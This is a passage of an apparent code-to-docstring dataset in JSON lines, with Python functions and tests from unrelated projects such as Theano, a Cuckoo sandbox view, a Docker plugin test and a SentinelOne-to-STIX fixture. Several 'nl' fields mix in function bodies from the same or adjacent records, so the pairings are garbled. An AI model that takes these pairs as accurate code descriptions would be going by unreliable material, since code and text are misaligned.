0):\n self.domain_metadata['test_num'] = len(self.X_test)\n\n if self.call_num == -1:\n Y_pred = self.domain_model.test(self.domain_dataset_test,\n remaining_time_budget=remaining_time_budget)\n self.call_num += 1\n else:\n Y_pred = self.domain_model.test(self.domain_dataset_test,\n remaining_time_budget=remaining_time_budget)\n if \"test_num\" not in self.domain_model.feature_dict:\n self.domain_model.feature_dict[\"test_num\"] = self.domain_metadata['test_num']\n\n\n self.done_training = self.domain_model.done_training\n\n return Y_pred\n", "nl": "Train method of domain-specific model.# Convert training dataset to necessary format and# store as self.domain_dataset_trainself.tf_dataset_trainsformer.init_train_tfds(dataset, self.train_num)if \"train_num\" not in self.domain_model.feature_dict:self.domain_model.feature_dict[\"train_num\"] = self.train_numself.domain_model.feature_dict[\"class_num\"] = self.class_numself.domain_model.feature_dict[\"language\"] = self.domain_metadata['language']self.set_domain_dataset(dataset, is_training=True)if self.call_num == -1:self.domain_model.train(self.domain_dataset_train_dict[\"x\"], self.domain_dataset_train_dict[\"y\"],remaining_time_budget=remaining_time_budget)else:self.domain_model.train(self.domain_dataset_train_dict[\"x\"], self.domain_dataset_train_dict[\"y\"],remaining_time_budget=remaining_time_budget)self.call_num += 1self.done_training = self.domain_model.done_trainingdef test(self, dataset, remaining_time_budget=None):Test method of domain-specific model."} {"code": "def get_log_data(self, limit):\n return self.mongo_db.get_log_rows(self.exp_id, limit)\n", "nl": " Get all the logged data from the experiment.:param int limit: Limit the amount of logs returned:returns: Dict of dict of all the manual logs"} {"code": "def test_permutation_helper(self):\n rf = RandomFunction(permutation_helper, tensor.imatrix, 8,\n ndim_added=1)\n rng_R = random_state_type()\n post_r, out = rf(rng_R, (7,), 8)\n\n f = compile.function(\n [compile.In(rng_R,\n value=numpy.random.RandomState(utt.fetch_seed()),\n update=post_r, mutable=True)],\n [out], accept_inplace=True)\n\n numpy_rng = numpy.random.RandomState(utt.fetch_seed())\n val0 = f()\n val1 = f()\n numpy_val0 = numpy.asarray([numpy_rng.permutation(8)\n for i in range(7)])\n numpy_val1 = numpy.asarray([numpy_rng.permutation(8)\n for i in range(7)])\n self.assertTrue(numpy.all(val0 == numpy_val0))\n self.assertTrue(numpy.all(val1 == numpy_val1))\n", "nl": "Test that raw_random.permutation_helper generates the sameresults as numpy,and that the 'ndim_added' keyword behaves correctly."} {"code": "def metadata(self, metadata):\n if self.local_vars_configuration.client_side_validation and metadata is None:\n raise ValueError(\"Invalid value for `metadata`, must not be `None`\")\n\n self._metadata = metadata\n", "nl": "Sets the metadata of this V1alpha1CronWorkflowList.:param metadata: The metadata of this V1alpha1CronWorkflowList. # noqa: E501:type: V1ListMeta"} {"code": "def is_net_virtio(self):\n cmd = \"ls -l /sys/class/net/eth%s/device\" % self.nic_index\n output = self.run_cmd(cmd)[1]\n try:\n if re.search(\"virtio\", output.split('/')[-1]):\n return True\n except IndexError:\n LOG.error(\"Fail to find virtio driver\")\n return False\n", "nl": "Check whether vm's interface is virtio"} {"code": "def get_rq(self):\n\n redis = self.get_redis()\n\n if redis:\n return Queue(connection=redis)\n", "nl": "Get an RQ instance.Returns:rq.Queue"} {"code": "def away_shift_summ(self):\n if not self.__wrapped_away:\n self.__wrapped_away = self.__wrap(self._away.by_player)\n\n return self.__wrapped_away\n\n\n @property", "nl": ":returns: :py:class:`.ShiftSummary` by player for the away team:rtype: dict ``{ player_num: shift_summary_obj }``"} {"code": "def test_polymorph_field_does_not_have_ambiguous_mappings(self, api):\n parent = api.model(\"Parent\", {\"name\": fields.String,})\n\n child = api.inherit(\"Child\", parent, {\"extra\": fields.String,})\n\n class Parent(object):\n name = \"parent\"\n\n class Child(Parent):\n extra = \"extra\"\n\n mapping = {Parent: parent, Child: child}\n\n thing = api.model(\"Thing\", {\"owner\": fields.Polymorph(mapping),})\n\n api.marshal({\"owner\": Child()}, thing)\n", "nl": "Regression test for https://github.com/noirbizarre/flask-restx/pull/691"} {"code": "def earliest(self, field_name: str = 'created') -> object:\n\n return self.all().earliest(field_name)\n", "nl": "Returns the earliest object, by date, using the field_name provided asthe date field.Proxy to the QuerySet.earliest method.:param field_name: Name of attribute containing datetime object:return: Model instance if exists, None otherwise."} {"code": "def read_obj_calibration(CALIB_PATH):\n frame_calibration_info = FrameCalibrationData()\n\n data_file = open(CALIB_PATH, 'r')\n data_reader = csv.reader(data_file, delimiter=' ')\n data = []\n\n for row in data_reader:\n data.append(row)\n\n data_file.close()\n\n p_all = []\n\n for i in range(4):\n p = data[i]\n p = p[1:]\n p = [float(p[i]) for i in range(len(p))]\n p = np.reshape(p, (3, 4))\n p_all.append(p)\n\n frame_calibration_info.p0 = p_all[0]\n frame_calibration_info.p1 = p_all[1]\n frame_calibration_info.p2 = p_all[2]\n frame_calibration_info.p3 = p_all[3]\n\n frame_calibration_info.p2_2 = np.copy(p_all[2])\n frame_calibration_info.p2_2[0,3] = frame_calibration_info.p2_2[0,3] - frame_calibration_info.p2[0,3]\n\n frame_calibration_info.p2_3 = np.copy(p_all[3])\n frame_calibration_info.p2_3[0,3] = frame_calibration_info.p2_3[0,3] - frame_calibration_info.p2[0,3]\n\n frame_calibration_info.t_cam2_cam0 = np.zeros(3)\n frame_calibration_info.t_cam2_cam0[0] = (frame_calibration_info.p2[0,3] - frame_calibration_info.p0[0,3])/frame_calibration_info.p2[0,0]\n\n tr_rect = data[4]\n tr_rect = tr_rect[1:]\n tr_rect = [float(tr_rect[i]) for i in range(len(tr_rect))]\n frame_calibration_info.r0_rect = np.reshape(tr_rect, (3, 3))\n\n tr_v2c = data[5]\n tr_v2c = tr_v2c[1:]\n tr_v2c = [float(tr_v2c[i]) for i in range(len(tr_v2c))]\n frame_calibration_info.tr_velodyne_to_cam0 = np.reshape(tr_v2c, (3, 4))\n\n return frame_calibration_info\n", "nl": " Reads in Calibration file from Kitti Dataset.Inputs:CALIB_PATH : Str PATH of the calibration file.Returns:frame_calibration_info : FrameCalibrationDataContains a frame's full calibration data.^ z ^ z ^ z ^ z| cam2 | cam0 | cam3 | cam1|-----> x |-----> x |-----> x |-----> x"} {"code": "def post_add_lesson(cls, handler):\n course = courses.Course(handler)\n unit = course.add_unit()\n course.save()\n handler.redirect(handler.get_action_url(\n 'edit_unit', key=unit.unit_id, extra_args={'is_newly_created': 1}))\n\n @classmethod", "nl": "Adds new lesson to a first unit of the course.course = courses.Course(handler)target_unit = Noneif handler.request.get('unit_id'):target_unit = course.find_unit_by_id(handler.request.get('unit_id'))else:for unit in course.get_units():if unit.type == verify.UNIT_TYPE_UNIT:target_unit = unitbreakif target_unit:lesson = course.add_lesson(target_unit)course.save()# TODO(psimakov): complete 'edit_lesson' viewhandler.redirect(handler.get_action_url('edit_lesson', key=lesson.lesson_id,extra_args={'is_newly_created': 1}))else:handler.redirect('/dashboard')@classmethoddef post_add_unit(cls, handler):Adds new unit to a course."} {"code": "def add_sys_da(self, da_turn):\n for dom_int in da_turn:\n domain = dom_int.split('-')[0].lower()\n if domain in belief_domains and domain != self.cur_domain:\n self.cur_domain = domain\n slot_pair = da_turn[dom_int]\n for slot, value in slot_pair:\n da = (dom_int + '-' + slot).lower()\n value = str(value)\n self.sys_da_array.append(da + '-' + value)\n\n if da == 'booking-book-ref' and self.cur_domain in ['hotel', 'restaurant', 'train']:\n if not self.booked[self.cur_domain] and re.match(r'^\\d{8}$', value) and \\\n len(self.dbs[self.cur_domain]) > int(value):\n self.booked[self.cur_domain] = self.dbs[self.cur_domain][int(value)]\n elif da == 'train-offerbooked-ref' or da == 'train-inform-ref':\n if not self.booked['train'] and re.match(r'^\\d{8}$', value) and len(self.dbs['train']) > int(value):\n self.booked['train'] = self.dbs['train'][int(value)]\n elif da == 'taxi-inform-car':\n if not self.booked['taxi']:\n self.booked['taxi'] = 'booked'\n", "nl": "add sys_da into arrayargs:da_turn:dict[domain-intent] list[slot, value]"} {"code": "def state(state):\n ...\n\n @classmethod\n @abstractmethod", "nl": "Map a scheduler specific job state to a Study.State enum.:param adapter: Instance of a FluxAdapter:param state: A string of the state returned by Flux:return: The mapped Study.State enumeration"} {"code": "def remove(request, task_id):\n analyses = results_db.analysis.find({\"info.id\": int(task_id)})\n\n if analyses.count() > 1:\n message = (\n \"Multiple tasks with this ID deleted, thanks for all the fish \"\n \"(the specified analysis was present multiple times in mongo).\"\n )\n elif analyses.count() == 1:\n message = \"Task deleted, thanks for all the fish.\"\n\n if not analyses.count():\n return render(request, \"error.html\", {\n \"error\": \"The specified analysis does not exist\",\n })\n\n for analysis in analyses:\n if \"file_id\" in analysis[\"target\"]:\n if results_db.analysis.find({\"target.file_id\": ObjectId(analysis[\"target\"][\"file_id\"])}).count() == 1:\n fs.delete(ObjectId(analysis[\"target\"][\"file_id\"]))\n\n for shot in analysis[\"shots\"]:\n if results_db.analysis.find({\"shots\": ObjectId(shot)}).count() == 1:\n fs.delete(ObjectId(shot))\n\n if \"pcap_id\" in analysis[\"network\"] and results_db.analysis.find({\"network.pcap_id\": ObjectId(analysis[\"network\"][\"pcap_id\"])}).count() == 1:\n fs.delete(ObjectId(analysis[\"network\"][\"pcap_id\"]))\n\n if \"sorted_pcap_id\" in analysis[\"network\"] and results_db.analysis.find({\"network.sorted_pcap_id\": ObjectId(analysis[\"network\"][\"sorted_pcap_id\"])}).count() == 1:\n fs.delete(ObjectId(analysis[\"network\"][\"sorted_pcap_id\"]))\n\n if \"mitmproxy_id\" in analysis[\"network\"] and results_db.analysis.find({\"network.mitmproxy_id\": ObjectId(analysis[\"network\"][\"mitmproxy_id\"])}).count() == 1:\n fs.delete(ObjectId(analysis[\"network\"][\"mitmproxy_id\"]))\n\n for drop in analysis[\"dropped\"]:\n if \"object_id\" in drop and results_db.analysis.find({\"dropped.object_id\": ObjectId(drop[\"object_id\"])}).count() == 1:\n fs.delete(ObjectId(drop[\"object_id\"]))\n\n for process in analysis.get(\"behavior\", {}).get(\"processes\", []):\n for call in process[\"calls\"]:\n results_db.calls.remove({\"_id\": ObjectId(call)})\n\n results_db.analysis.remove({\"_id\": ObjectId(analysis[\"_id\"])})\n\n db = Database()\n db.delete_task(task_id)\n\n return render(request, \"success.html\", {\n \"message\": message,\n })\n\n@require_safe", "nl": "Remove an analysis.@todo: remove folder from storage."} {"code": "def bar():\n", "nl": "A bar function.return 42class DummyBehaviour(Behaviour):Dummy behaviour."} {"code": "def _call_if_not_instance_of(key, cls, *args, **kwargs):", "nl": " If key is not an instance of cls, call it with *args and **kwargs, otherwise just return it. return key(*args, **kwargs) if not isinstance(key, cls) else keydef memoize(key, time=24*60*60): A cache decorator that returns a CachedCall. Takes a key or a function that returns a key. "} {"code": "def raw_data(self):\n Add a new result.\n\n Args:\n new_cnotdihedral_Z_result (list): list of rb results\n of the cnot-dihedral Z circuits.\n new_cnotdihedral_X_result (list): list of rb results\n of the cnot-dihedral X circuits.\n rerun_fit (bool): re-calculate the means and fit the result.\n\n Additional information:\n Assumes that the executed 'result' is\n the output of circuits generated by randomized_benchmarking_seq.\n \"\"\"", "nl": "Return raw_data as 2 element list.return [self.rbfit_Z.raw_data, self.rbfit_X.raw_data]def add_data(self, new_cnotdihedral_Z_result,new_cnotdihedral_X_result, rerun_fit=True):"} {"code": "def test_run_user(self):\n plugin = plugins.DockerRunUserPlugin()\n\n (allow, msg) = plugin.run_req(\n 'POST',\n '/v1.26/containers/create',\n {\n 'Image': 'foo'\n },\n )\n self.assertTrue(allow)\n\n (allow, msg) = plugin.run_req(\n 'POST',\n '/v1.26/containers/create',\n {\n 'User': '123:456',\n 'Image': 'foo'\n },\n )\n self.assertTrue(allow)\n", "nl": "Test check user in docker run"} {"code": "def make_attrgetter(environment, attribute, postprocess=None):\n if attribute is None:\n attribute = []\n elif isinstance(attribute, string_types):\n attribute = [int(x) if x.isdigit() else x for x in attribute.split('.')]\n else:\n attribute = [attribute]\n", "nl": "Returns a callable that looks up the given attribute from apassed object with the rules of the environment. Dots are allowedto access attributes of attributes. Integer parts in paths arelooked up as integers."} {"code": "def test_auto_fill_happy_path(kwik_e_mart_app, qa_kwik_e_mart):\n convo = Conversation(app=kwik_e_mart_app)\n directives = convo.process(\"What's the store phone number?\").directives\n assert_target_dialogue_state(convo, \"send_store_phone\")\n assert_reply(directives, \"Which store would you like to know about?\")\n\n convo.process(\"the store on elm street\")\n assert_target_dialogue_state(convo, None)\n\n\n@pytest.mark.conversation", "nl": "Tests a happy path for the app.convo = Conversation(app=kwik_e_mart_app)directives = convo.process(\"What's the store phone number?\").directivesassert_target_dialogue_state(convo, \"send_store_phone\")assert_reply(directives, \"Which store would you like to know about?\")convo.process(\"elm street\")assert_target_dialogue_state(convo, None)@pytest.mark.conversationdef test_auto_fill_happy_path_validation(kwik_e_mart_app, qa_kwik_e_mart):Tests a happy path for the app with gazetter validation."} {"code": "def build(self, section=None, infer=True):\n return os.path.exists(path)\n", "nl": "Builds a new ConfigurationBindings instance.parser = argparse.ArgumentParser()for arg in self.__arguments:parser.add_argument(arg[0], **arg[1])options = parser.parse_known_args()config_parser = ConfigParser.RawConfigParser()config_parser.read(self.__config_files)flags = {}flags.update(vars(options[0]))extra = options[1]if infer and extra:flags.update(self.__infer_options(config_parser, extra))flags.update({key.lower(): valuefor key, value in self.__overrides.items()})bindings = ConfigurationBindings(config_parser, overrides=flags,lazy_initializers=self.__lazy_initializers,defaults=self.__defaults,section=section)return bindingsdef _exists(self, path):Helper function to determine if a path exists to facilitate testing."} {"code": "def find_nth_occurrence(string: str, substring: str, n: int) -> Optional[int]:\n split = string.split(\"\\n\", count - 1)\n\n return split[-1] and len(split) == count\n\n", "nl": "Return index of `n`th occurrence of `substring` in `string`, or None if not found.index = 0for _ in range(n):index = string.find(substring, index+1)if index == -1:return Nonereturn indexdef has_lines(string: str, count: int) -> bool:Return True if `string` has at least `count` lines."} {"code": "def cleanupOutputCallbacks():\n libxml2mod.xmlCleanupOutputCallbacks()\n", "nl": "clears the entire output callback table. this includes thecompiled-in I/O callbacks. "} {"code": "def set_soundcloud_credentials(request: WSGIRequest) -> HttpResponse:\n Makes sure mopidy has correct jamendo configuration.\"\"\"", "nl": "Update soundcloud credentials.auth_token = request.POST.get(\"auth_token\")if not auth_token:return HttpResponseBadRequest(\"All fields are required\")storage.put(\"soundcloud_auth_token\", auth_token)system.update_mopidy_config(\"pulse\")return HttpResponse(\"Updated credentials\")@controldef set_jamendo_enabled(request: WSGIRequest) -> HttpResponse:Enables or disables jamendo to be used as a song provider."} {"code": "def visible(self) -> bool:\n return self._alpha > 0\n\n @visible.setter", "nl": "Get or set the visibility of this sprite.This is a shortcut for changing the alpha value of a spriteto 0 or 255::# Make the sprite invisiblesprite.visible = False# Change back to visiblesprite.visible = True# Toggle visiblesprite.visible = not sprite.visible:rtype: bool"} {"code": "def __init__(self, inplanes, planes, stride, groups, base_width, downsample=None):\n super(Bottleneck, self).__init__()\n if groups == 1:\n width = planes\n else:\n width = math.floor(planes * (base_width / 64)) * groups\n\n self.norm1_name, self.norm1 = build_norm_layer(\n dict(type='BN'), width, postfix=1)\n self.norm2_name, self.norm2 = build_norm_layer(\n dict(type='BN'), width, postfix=2)\n self.norm3_name, self.norm3 = build_norm_layer(\n dict(type='BN'), planes * 4, postfix=3)\n\n self.conv1 = nn.Conv2d(inplanes, width, kernel_size=1, bias=False)\n self.add_module(self.norm1_name, self.norm1)\n\n self.conv2 = ConvWS2d(width, width,\n kernel_size=3,\n stride=stride,\n padding=1,\n dilation=1,\n groups=groups,\n bias=False)\n\n self.add_module(self.norm2_name, self.norm2)\n self.conv3 = nn.Conv2d(width, planes * 4, kernel_size=1, bias=False)\n self.add_module(self.norm3_name, self.norm3)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n", "nl": "Bottleneck block for ResNeXt.If style is \"pytorch\", the stride-two layer is the 3x3 conv layer,if it is \"caffe\", the stride-two layer is the first 1x1 conv layer."} {"code": "def test_server_selection_timeout_not_retried(self):\n original error.\n \"\"\"", "nl": "A ServerSelectionTimeoutError is not retried.listener = OvertCommandListener()client = MongoClient(\"somedomainthatdoesntexist.org\",serverSelectionTimeoutMS=1,retryWrites=True,event_listeners=[listener],)for method, args, kwargs in retryable_single_statement_ops(client.db.retryable_write_test):msg = \"%s(*%r, **%r)\" % (method.__name__, args, kwargs)listener.results.clear()with self.assertRaises(ServerSelectionTimeoutError, msg=msg):method(*args, **kwargs)self.assertEqual(len(listener.results[\"started\"]), 0, msg)@client_context.require_replica_set@client_context.require_test_commandsdef test_retry_timeout_raises_original_error(self):A ServerSelectionTimeoutError on the retry attempt raises the"} {"code": "def get_vid_pid_eeprom(self):\n reader = self.create_reader()\n data = reader.read_data('VID_PID_INFO')\n return data[0], data[1]\n", "nl": "@returns tuple of vid,pid. tuple from EEPROM (None,None) on error"} {"code": "def json_default(o):\n if isinstance(o, (datetime.date, datetime.datetime)):\n return o.isoformat()\n else:\n return str(o)\n", "nl": "Serializer function for JSON (from YAML)"} {"code": "def ifelse(condition, then_branch, else_branch, name=None):\n\n rval_type = None\n if type(then_branch) is list:\n rval_type = list\n elif type(then_branch) is tuple:\n rval_type = tuple\n\n if type(then_branch) not in (list, tuple):\n then_branch = [then_branch]\n if type(else_branch) not in (list, tuple):\n else_branch = [else_branch]\n\n new_then_branch = []\n new_else_branch = []\n for then_branch_elem, else_branch_elem in izip(then_branch, else_branch):\n if not isinstance(then_branch_elem, theano.Variable):\n then_branch_elem = theano.tensor.as_tensor_variable(\n then_branch_elem)\n if not isinstance(else_branch_elem, theano.Variable):\n else_branch_elem = theano.tensor.as_tensor_variable(\n else_branch_elem)\n\n if then_branch_elem.type != else_branch_elem.type:\n if (isinstance(then_branch_elem.type, TensorType) and not\n isinstance(else_branch_elem.type, TensorType)):\n else_branch_elem = then_branch_elem.type.filter_variable(\n else_branch_elem)\n\n elif (isinstance(else_branch_elem.type, TensorType) and not\n isinstance(then_branch_elem.type, TensorType)):\n then_branch_elem = else_branch_elem.type.filter_variable(\n then_branch_elem)\n\n if then_branch_elem.type != else_branch_elem.type:\n raise TypeError(\n 'The two branches should have identical types, but '\n 'they are %s and %s respectively. This error could be '\n 'raised if for example you provided a one element '\n 'list on the `then` branch but a tensor on the `else` '\n 'branch.' %\n (then_branch_elem.type, else_branch_elem.type))\n\n new_then_branch.append(then_branch_elem)\n new_else_branch.append(else_branch_elem)\n\n if len(then_branch) != len(else_branch):\n raise ValueError(('The number of values on the `then` branch'\n ' should have the same number of variables as '\n 'the `else` branch : (variables on `then` '\n '%d' % len(then_branch) + ', variables on `else` '\n '%d' % len(else_branch) + ')'))\n\n new_ifelse = IfElse(n_outs=len(then_branch),\n as_view=False,\n gpu=False,\n name=name)\n\n ins = [condition] + list(new_then_branch) + list(new_else_branch)\n rval = new_ifelse(*ins, **dict(return_list=True))\n\n if rval_type is None:\n return rval[0]\n elif rval_type is list:\n return list(rval)\n else:\n return tuple(rval)\n\n\n@gof.local_optimizer([IfElse])", "nl": "This function corresponds to an if statement, returning (and evaluating)inputs in the ``then_branch`` if ``condition`` evaluates to True orinputs in the ``else_branch`` if ``condition`` evalutates to False.:type condition: scalar like:param condition:``condition`` should be a tensor scalar representing the condition.If it evaluates to 0 it corresponds to False, anything else standsfor True.:type then_branch: list of theano expressions/ theano expression:param then_branch:A single theano variable or a list of theano variables that thefunction should return as the output if ``condition`` evaluates totrue. The number of variables should match those in the``else_branch``, and there should be a one to one correspondance(type wise) with the tensors provided in the else branch:type else_branch: list of theano expressions/ theano expressions:param else_branch:A single theano variable or a list of theano variables that thefunction should return as the output if ``condition`` evaluates tofalse. The number of variables should match those in the then branch,and there should be a one to one correspondace (type wise) with thetensors provided in the then branch.:return:A list of theano variables or a single variable (depending on thenature of the ``then_branch`` and ``else_branch``). More exactly if``then_branch`` and ``else_branch`` is a tensor, thenthe return variable will be just a single variable, otherwise alist. The value returns correspond either to the values in the``then_branch`` or in the ``else_branch`` depending on the value of``cond``."} {"code": "def test_get_register_personality_description(self):\n description = self.strategy.get_register_classification_description()\n\n assert type(description) == Description\n assert description.data_model is AGENT_PERSONALITY_MODEL\n assert description.values.get(\"piece\", \"\") == \"classification\"\n assert description.values.get(\"value\", \"\") == \"tac.participant\"\n", "nl": "Test the get_register_personality_description method of the GenericStrategy class.description = self.strategy.get_register_personality_description()assert type(description) == Descriptionassert description.data_model is AGENT_PERSONALITY_MODELassert description.values.get(\"piece\", \"\") == \"genus\"assert description.values.get(\"value\", \"\") == \"data\"def test_get_register_classification_description(self):Test the get_register_classification_description method of the GenericStrategy class."} {"code": "def attemptsBeforeDisconnect(self):\n return self.transport.factory.attemptsBeforeDisconnect\n\n\n @property", "nl": "Use the C{attemptsBeforeDisconnect} value defined by the factory to makeit easier to override."} {"code": "def apply_hyperparameter(self, name, value):\n print(\"Applying RL hyperparameter %s=%s\" % (name,value))\n self.hyperparameters.store(name, value)\n\n", "nl": "Save this hyperparameter to be applied to the graph_manager object whenit's ready."} {"code": "def __str__(self):\n A node that contains a number. Outputs a single column containing the\n number.\n \"\"\"", "nl": "Return a string representation of this item.base_string = BaseDustNode.__str__(self)string = (\"[StringNode: \" + base_string +\", value: \" + self._value + \"]\")return stringclass NumberNode(BaseDustNode):"} {"code": "def on_mouse_click(self, e):\n super(TraceView, self).on_mouse_wheel(e)\n if e.modifiers == ('Alt',):\n start, end = self._interval\n delay = e.delta * (end - start) * .1\n self.shift(-delay)\n\n\n\nclass TraceImageView(TraceView):\n \"\"\"This view shows the raw traces as an image", "nl": "Select a cluster by clicking on a spike.if 'Control' in e.modifiers:# Get mouse position in NDC.box_id, _ = self.canvas.stacked.box_map(e.pos)channel_id = np.nonzero(self.channel_y_ranks == box_id)[0]# Find the spike and cluster closest to the mouse.db = self.data_bounds# Get the information about the displayed spikes.wt = [(t, s, c, ch) for t, s, c, ch in self._waveform_times if channel_id in ch]if not wt:return# Get the time coordinate of the mouse position.mouse_pos = self.canvas.panzoom.window_to_ndc(e.pos)mouse_time = Range(NDC, db).apply(mouse_pos)[0][0]# Get the closest spike id.times, spike_ids, spike_clusters, channel_ids = zip(*wt)i = np.argmin(np.abs(np.array(times) - mouse_time))# Raise the select_spike event.spike_id = spike_ids[i]cluster_id = spike_clusters[i]emit('select_spike', self, channel_id=channel_id,spike_id=spike_id, cluster_id=cluster_id)if 'Shift' in e.modifiers:# Get mouse position in NDC.box_id, _ = self.canvas.stacked.box_map(e.pos)channel_id = int(np.nonzero(self.channel_y_ranks == box_id)[0][0])emit('select_channel', self, channel_id=channel_id, button=e.button)def on_mouse_wheel(self, e): # pragma: no coverScroll through the data with alt+wheel."} {"code": "def get_default_config(self):", "nl": "Returns the xfs collector settings"} {"code": "def __init__(self, indices):\n\t\tsuper(dropi, self).__init__()\n\t\tself.indexiter = iter(indices)\n", "nl": "indices: an iterable of indices to be dropped, should yieldnon-negative integers in monotonically increasing order"} {"code": "def align_vector(self, vec):\n\n algrad = np.copy(grad)\n if self.mirror:\n algrad[:, 1] *= -1.0\n algrad = algrad.dot(self.rotation)\n algrad = algrad[self.atommap]\n\n return algrad\n", "nl": "suitable for vector attached to molecule# sensible? TODO# alvec = np.copy(vec)# if self.mirror:# alvec[:, 1] *= -1return vec.dot(self.rotation)def align_gradient(self, grad) -> Array:suitable for vector system attached to atoms"} {"code": "def mixer_b16_224(pretrained=False, **kwargs):\n model_args = dict(patch_size=16, num_blocks=12, embed_dim=768, **kwargs)\n model = _create_mixer('mixer_b16_224', pretrained=pretrained, **model_args)\n return model\n\n\n@register_model", "nl": " Mixer-B/16 224x224. ImageNet-1k pretrained weights.Paper: 'MLP-Mixer: An all-MLP Architecture for Vision' - https://arxiv.org/abs/2105.01601"} {"code": "def test_asset_json_to_stix(self):\n result_data = {}\n result_data = common_data\n data = {\"direction\": \"INCOMING\",\n \"dnsCount\": \"0\",\n \"dstIp\": \"172.31.31.67\",\n \"dstPort\": 3389,\n \"endpointMachineType\": \"server\",\n \"endpointName\": \"EC2AMAZ-IQFSLIL\",\n \"endpointOs\": \"windows\",\n \"eventIndex\": \"15\",\n \"eventTime\": \"2022-01-24T18:49:35.296Z\",\n \"eventType\": \"IP Connect\",\n \"fileIsExecutable\": \"True\",\n \"fileMd5\": \"8a0a29438052faed8a2532da50455756\",\n \"fileSha256\": \"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6\",\n \"id\": \"649568400931684352\",\n \"indicatorBootConfigurationUpdateCount\": \"0\",\n \"metaEventName\": \"TCPV4\",\n \"moduleCount\": \"541721\",\n \"netConnCount\": \"180525\",\n \"netConnInCount\": \"180525\",\n \"netConnOutCount\": \"0\",\n \"netConnStatus\": \"SUCCESS\",\n \"netEventDirection\": \"INCOMING\",\n \"netProtocolName\": \"ms-wbt-server\",\n \"objectType\": \"ip\",\n \"parentPid\": \"868\",\n \"parentProcessName\": \"services.exe\",\n \"parentProcessStartTime\": \"2022-01-20T07:03:11.124Z\",\n \"parentProcessUniqueKey\": \"0E1224C52E1F3667\",\n \"pid\": \"1188\",\n \"processCmd\": \"C:\\\\Windows\\\\System32\\\\svchost.exe -k termsvcs -s TermService\",\n \"processDisplayName\": \"Host Process for Windows Services\",\n \"processGroupId\": \"B9913CE1424F6FB2\",\n \"processImagePath\": \"C:\\\\Windows\\\\system32\\\\svchost.exe\",\n \"processImageSha1Hash\": \"a1385ce20ad79f55df235effd9780c31442aa234\",\n \"processIntegrityLevel\": \"SYSTEM\",\n \"processIsRedirectedCommandProcessor\": \"False\",\n \"processIsWow64\": \"False\",\n \"processName\": \"svchost.exe\",\n \"processRoot\": \"True\",\n \"processSessionId\": \"0\",\n \"processStartTime\": \"2022-01-20T07:03:12.554Z\",\n \"processSubSystem\": \"SYS_WIN32\",\n \"processUniqueKey\": \"0E1224C52E1F3667\",\n \"publisher\": \"MICROSOFT WINDOWS PUBLISHER\",\n \"registryChangeCount\": \"0\",\n \"relatedToThreat\": \"False\",\n \"signatureSignedInvalidReason\": None,\n \"signedStatus\": \"signed\",\n \"siteId\": \"1336793312849490611\",\n \"siteName\": \"Default site\",\n \"srcIp\": \"87.251.64.138\",\n \"srcPort\": 3428,\n \"srcProcActiveContentFileId\": None,\n \"srcProcActiveContentHash\": None,\n \"srcProcActiveContentPath\": None,\n \"srcProcActiveContentSignedStatus\": None,\n \"srcProcActiveContentType\": None,\n \"srcProcBinaryisExecutable\": \"True\",\n \"srcProcCmdLine\": \"C:\\\\Windows\\\\System32\\\\svchost.exe -k termsvcs -s TermService\",\n \"srcProcDisplayName\": \"Host Process for Windows Services\",\n \"srcProcImageMd5\": \"8a0a29438052faed8a2532da50455756\",\n \"srcProcImagePath\": \"C:\\\\Windows\\\\system32\\\\svchost.exe\",\n \"srcProcImageSha1\": \"a1385ce20ad79f55df235effd9780c31442aa234\",\n \"srcProcImageSha256\": \"7fd065bac18c5278777ae44908101cdfed72\"\n \"d26fa741367f0ad4d02020787ab6\",\n \"srcProcIntegrityLevel\": \"SYSTEM\",\n \"srcProcIsNative64Bit\": \"False\",\n \"srcProcIsRedirectCmdProcessor\": \"False\",\n \"srcProcIsStorylineRoot\": \"True\",\n \"srcProcName\": \"svchost.exe\",\n \"srcProcParentActiveContentFileId\": None,\n \"srcProcParentActiveContentHash\": None,\n \"srcProcParentActiveContentPath\": None,\n \"srcProcParentActiveContentSignedStatus\": None,\n \"srcProcParentActiveContentType\": None,\n \"srcProcParentCmdLine\": \"C:\\\\Windows\\\\system32\\\\services.exe\",\n \"srcProcParentDisplayName\": \"Services and Controller app\",\n \"srcProcParentImageMd5\": \"94f2383da5fa7b9717d03e33cdee5c81\",\n \"srcProcParentImagePath\": \"C:\\\\Windows\\\\system32\\\\services.exe\",\n \"srcProcParentImageSha1\": \"106a001c4c9820a6aec6a8ba17d3836525faf80e\",\n \"srcProcParentImageSha256\": \"7ef551eb51992b5f0f3c76fcf1996bca5ca8e\"\n \"faa87ab527f55835936165f420d\",\n \"srcProcParentIntegrityLevel\": \"SYSTEM\",\n \"srcProcParentIsNative64Bit\": \"False\",\n \"srcProcParentIsRedirectCmdProcessor\": \"False\",\n \"srcProcParentIsStorylineRoot\": \"True\",\n \"srcProcParentName\": \"services.exe\",\n \"srcProcParentPid\": \"868\",\n \"srcProcParentProcUid\": \"4B8DD1628A27EDE6\",\n \"srcProcParentPublisher\": \"MICROSOFT WINDOWS PUBLISHER\",\n \"srcProcParentReasonSignatureInvalid\": None,\n \"srcProcParentSessionId\": \"0\",\n \"srcProcParentSignedStatus\": \"signed\",\n \"srcProcParentStartTime\": \"2022-01-20T07:03:11.124Z\",\n \"srcProcParentStorylineId\": \"13D130A04AF01959\",\n \"srcProcParentUid\": \"4B8DD1628A27EDE6\",\n \"srcProcParentUser\": \"NT AUTHORITY\\\\SYSTEM\",\n \"srcProcPid\": \"1188\",\n \"srcProcPublisher\": \"MICROSOFT WINDOWS PUBLISHER\",\n \"srcProcReasonSignatureInvalid\": None,\n \"srcProcRelatedToThreat\": \"False\",\n \"srcProcSessionId\": \"0\",\n \"srcProcSignedStatus\": \"signed\",\n \"srcProcStartTime\": \"2022-01-20T07:03:12.554Z\",\n \"srcProcStorylineId\": \"B9913CE1424F6FB2\",\n \"srcProcSubsystem\": \"SYS_WIN32\",\n \"srcProcTid\": None,\n \"srcProcUid\": \"0E1224C52E1F3667\",\n \"srcProcUser\": \"NT AUTHORITY\\\\NETWORK SERVICE\",\n \"srcProcVerifiedStatus\": \"verified\",\n \"storyline\": \"B9913CE1424F6FB2\",\n \"tiOriginalEventId\": None,\n \"tiOriginalEventIndex\": None,\n \"tiOriginalEventTraceId\": None,\n \"tiindicatorRelatedEventTime\": None,\n \"traceId\": \"01FT6PSXBV4SKNZ2TVW7D7TE8G\",\n \"trueContext\": \"B9913CE1424F6FB2\",\n 